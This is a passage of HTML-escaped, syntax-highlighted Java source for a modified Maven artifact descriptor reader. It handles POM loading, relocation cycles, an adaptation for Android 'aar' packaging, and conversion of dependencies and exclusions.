prerequisites.getMaven());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e List\u0026lt;License\u0026gt; licenses = model.getLicenses();\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.count\u0026quot;\u003c/span\u003e, licenses.size());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ei\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e; i \u0026lt; licenses.size(); i++) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eLicense\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elicense\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e licenses.get(i);\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.name\u0026quot;\u003c/span\u003e, license.getName());\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.url\u0026quot;\u003c/span\u003e, license.getUrl());\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.comments\u0026quot;\u003c/span\u003e, license.getComments());\u003cbr\u003e properties.put(\u003cspan class=\"hljs-string\"\u003e\u0026quot;license.\u0026quot;\u003c/span\u003e + i + \u003cspan class=\"hljs-string\"\u003e\u0026quot;.distribution\u0026quot;\u003c/span\u003e, license.getDistribution());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e result.setProperties(properties);\u003cbr\u003e\u003cbr\u003e setArtifactProperties(result, model);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e result;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Model \u003cspan class=\"hljs-title function_\"\u003eloadPom\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, ArtifactDescriptorRequest request,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e ArtifactDescriptorResult result)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e ArtifactDescriptorException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e RequestTrace.newChild(request.getTrace(), request);\u003cbr\u003e\u003cbr\u003e Set\u0026lt;String\u0026gt; visited = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashSet\u003c/span\u003e\u0026lt;String\u0026gt;();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e request.getArtifact(); ; ) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersionRequest\u003c/span\u003e(artifact, request.getRepositories(), request.getRequestContext());\u003cbr\u003e versionRequest.setTrace(trace);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionResult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e versionResolver.resolveVersion(session, versionRequest);\u003cbr\u003e\u003cbr\u003e artifact = artifact.setVersion(versionResult.getVersion());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (VersionResolutionException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!visited.add(artifact.getGroupId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getArtifactId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getBaseVersion())) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositoryException\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eexception\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Artifact relocations form a cycle: \u0026quot;\u003c/span\u003e + visited);\u003cbr\u003e invalidDescriptor(session, trace, artifact, exception);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ((getPolicy(session, artifact, request) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException(exception);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epomArtifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e ArtifactDescriptorUtils.toPomArtifact(artifact);\u003cbr\u003e\u003cbr\u003e ArtifactResult resolveResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresolveRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactRequest\u003c/span\u003e(pomArtifact, request.getRepositories(), request.getRequestContext());\u003cbr\u003e resolveRequest.setTrace(trace);\u003cbr\u003e resolveResult = artifactResolver.resolveArtifact(session, resolveRequest);\u003cbr\u003e pomArtifact = resolveResult.getArtifact();\u003cbr\u003e result.setRepository(resolveResult.getRepository());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (ArtifactResolutionException e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (e.getCause() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e ArtifactNotFoundException) \u0026#123;\u003cbr\u003e missingDescriptor(session, trace, artifact, (Exception) e.getCause());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ((getPolicy(session, artifact, request) \u0026amp; ArtifactDescriptorPolicy.IGNORE_MISSING) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e Model model;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eModelBuildingRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emodelRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelBuildingRequest\u003c/span\u003e();\u003cbr\u003e modelRequest.setValidationLevel(ModelBuildingRequest.VALIDATION_LEVEL_MINIMAL);\u003cbr\u003e modelRequest.setProcessPlugins(\u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e);\u003cbr\u003e modelRequest.setTwoPhaseBuilding(\u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e);\u003cbr\u003e modelRequest.setSystemProperties(toProperties(session.getUserProperties(),\u003cbr\u003e session.getSystemProperties()));\u003cbr\u003e modelRequest.setModelCache(\u003cbr\u003e Reflect.on(\u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven.repository.internal.DefaultModelCache\u0026quot;\u003c/span\u003e)\u003cbr\u003e .call(\u003cspan class=\"hljs-string\"\u003e\u0026quot;newInstance\u0026quot;\u003c/span\u003e, session).get());\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//modelRequest.setModelCache( DefaultModelCache.newInstance( session ) );\u003c/span\u003e\u003cbr\u003e modelRequest.setModelResolver(\u003cbr\u003e Reflect.on(\u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven.repository.internal.DefaultModelResolver\u0026quot;\u003c/span\u003e)\u003cbr\u003e .create(session, trace.newChild(modelRequest),\u003cbr\u003e request.getRequestContext(), artifactResolver,\u003cbr\u003e remoteRepositoryManager,\u003cbr\u003e request.getRepositories())\u003cbr\u003e .get());\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// modelRequest.setModelResolver(new DefaultModelResolver(session, trace.newChild(modelRequest),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// request.getRequestContext(), artifactResolver,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// remoteRepositoryManager,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// request.getRepositories()));\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (resolveResult.getRepository() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e WorkspaceRepository) \u0026#123;\u003cbr\u003e modelRequest.setPomFile(pomArtifact.getFile());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e modelRequest.setModelSource(\u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eFileModelSource\u003c/span\u003e(pomArtifact.getFile()));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e model = modelBuilder.build(modelRequest).getEffectiveModel();\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (ModelBuildingException e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (ModelProblem problem : e.getProblems()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (problem.getException() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e UnresolvableModelException) \u0026#123;\u003cbr\u003e result.addException(problem.getException());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e invalidDescriptor(session, trace, artifact, e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ((getPolicy(session, artifact, request) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e(result);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRelocation\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erelocation\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e getRelocation(model);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epackaging\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getPackaging();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"hljs-string\"\u003e\u0026quot;aar\u0026quot;\u003c/span\u003e.equals(packaging)) \u0026#123; \u003cspan class=\"hljs-comment\"\u003e//适配aar类型\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-comment\"\u003e//根据POM重置artifact的extenstion\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e Class\u0026lt;DefaultArtifact\u0026gt; artifactCls = DefaultArtifact.class;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eField\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eextension\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e artifactCls.getDeclaredField(\u003cspan class=\"hljs-string\"\u003e\u0026quot;extension\u0026quot;\u003c/span\u003e);\u003cbr\u003e extension.setAccessible(\u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e extension.set(result.getArtifact(), model.getPackaging());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (Exception e) \u0026#123;\u003cbr\u003e e.printStackTrace();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (relocation != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e result.addRelocation(artifact);\u003cbr\u003e artifact = Reflect.on(\u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven.repository.internal.RelocatedArtifact\u0026quot;\u003c/span\u003e)\u003cbr\u003e .create(artifact, relocation.getGroupId(), relocation.getArtifactId(),\u003cbr\u003e relocation.getVersion()).get();\u003cbr\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// artifact =\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// new RelocatedArtifact(artifact, relocation.getGroupId(), relocation.getArtifactId(),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// relocation.getVersion());\u003c/span\u003e\u003cbr\u003e result.setArtifact(artifact);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e model;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Properties \u003cspan class=\"hljs-title function_\"\u003etoProperties\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Map\u0026lt;String, String\u0026gt; dominant, Map\u0026lt;String, String\u0026gt; recessive)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eProperties\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eprops\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eProperties\u003c/span\u003e();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (recessive != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e props.putAll(recessive);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (dominant != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e props.putAll(dominant);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e props;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Relocation \u003cspan class=\"hljs-title function_\"\u003egetRelocation\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(Model model)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRelocation\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erelocation\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDistributionManagement\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edistMngt\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getDistributionManagement();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (distMngt != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e relocation = distMngt.getRelocation();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e relocation;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003esetArtifactProperties\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(ArtifactDescriptorResult result, Model model)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edownloadUrl\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDistributionManagement\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edistMngt\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e model.getDistributionManagement();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (distMngt != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e downloadUrl = distMngt.getDownloadUrl();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (downloadUrl != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e \u0026amp;\u0026amp; downloadUrl.length() \u0026gt; \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e result.getArtifact();\u003cbr\u003e Map\u0026lt;String, String\u0026gt; props = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eHashMap\u003c/span\u003e\u0026lt;String, String\u0026gt;(artifact.getProperties());\u003cbr\u003e props.put(ArtifactProperties.DOWNLOAD_URL, downloadUrl);\u003cbr\u003e result.setArtifact(artifact.setProperties(props));\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Dependency \u003cspan class=\"hljs-title function_\"\u003econvert\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(org.apache.maven.model.Dependency dependency, ArtifactTypeRegistry stereotypes)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactType\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003estereotype\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e stereotypes.get(dependency.getType());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (stereotype == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e stereotype = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifactType\u003c/span\u003e(dependency.getType());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esystem\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e dependency.getSystemPath() != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e \u0026amp;\u0026amp; dependency.getSystemPath().length() \u0026gt; \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e;\u003cbr\u003e\u003cbr\u003e Map\u0026lt;String, String\u0026gt; props = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (system) \u0026#123;\u003cbr\u003e props = Collections.singletonMap(ArtifactProperties.LOCAL_PATH, dependency.getSystemPath());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifact\u003c/span\u003e(dependency.getGroupId(), dependency.getArtifactId(), dependency.getClassifier(), \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e dependency.getVersion(), props, stereotype);\u003cbr\u003e\u003cbr\u003e List\u0026lt;Exclusion\u0026gt; exclusions = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArrayList\u003c/span\u003e\u0026lt;Exclusion\u0026gt;(dependency.getExclusions().size());\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e (org.apache.maven.model.Exclusion exclusion : dependency.getExclusions()) \u0026#123;\u003cbr\u003e exclusions.add(convert(exclusion));\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependency\u003c/span\u003e(artifact, dependency.getScope(), dependency.isOptional(), exclusions);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e result;\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Exclusion \u003cspan class=\"hljs-title function_\"\u003econvert\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(org.apache.maven.model.Exclusion exclusion)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eExclusion\u003c/span\u003e(exclusion.getGroupId(), exclusion.getArtifactId(), \u003cspan class=\"hljs-string\"\u003e\u0026quot;*\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;*\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003emissingDescriptor\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, RequestTrace trace, Artifact artifact,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Exception exception)\u003c/span\u003e \u0026#123;\u003cbr\u003e RepositoryEvent.\u003cspan class=\"hljs-type\"\u003eBuilder\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eevent\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryEvent\u003c/span\u003e.Builder(session, EventType.ARTIFACT_DESCRIPTOR_MISSING);\u003cbr\u003e event.setTrace(trace);\u003cbr\u003e event.setArtifact(artifact);\u003cbr\u003e event.setException(exception);\u003cbr\u003e\u003cbr\u003e repositoryEventDispatcher.dispatch(event.build());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003einvalidDescriptor\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, RequestTrace trace, Artifact artifact,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e Exception exception)\u003c/span\u003e \u0026#123;\u003cbr\u003e RepositoryEvent.\u003cspan class=\"hljs-type\"\u003eBuilder\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eevent\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryEvent\u003c/span\u003e.Builder(session, EventType.ARTIFACT_DESCRIPTOR_INVALID);\u003cbr\u003e event.setTrace(trace);\u003cbr\u003e event.setArtifact(artifact);\u003cbr\u003e event.setException(exception);\u003cbr\u003e\u003cbr\u003e repositoryEventDispatcher.dispatch(event.build());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-type\"\u003eint\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003egetPolicy\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, Artifact artifact, ArtifactDescriptorRequest request)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorPolicy\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epolicy\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getArtifactDescriptorPolicy();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (policy == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e ArtifactDescriptorPolicy.STRICT;\u003cbr\u003e \u0026#125;\u003cbr\u003e 